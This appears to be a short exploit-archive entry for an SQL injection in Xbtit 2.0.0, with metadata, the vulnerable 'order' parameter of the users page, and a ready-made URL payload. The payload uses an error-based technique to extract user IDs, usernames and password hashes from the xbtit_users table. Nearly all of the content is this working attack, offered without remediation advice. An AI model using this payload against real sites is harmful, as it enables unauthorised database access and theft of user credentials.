Xbtit 2.0.0 - SQL Injection

Author: Ctacok
type: webapps
platform: php
port: 0
date_added: 2010-03-12
date_updated: 
verified: 1
codes: OSVDB-62922
tags: 
aliases: 
screenshot_url: 
application_url: 

####################################################
# Title     : Xbtit SQL Injection Vulnerability    #
# Author    : Ctacok                               #
# Homepage  : http://ctacok.ru/                    #
####################################################

####################################################
#  Vulnerable File :
 /index.php?page=users&order=[SQL]&by=ASC

####################################################
#  ExploiT         :

/index.php?page=users&order=flag+or(1,1)=(select+count(0),concat((select+concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+from+xbtit_users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--++&by=ASC

####################################################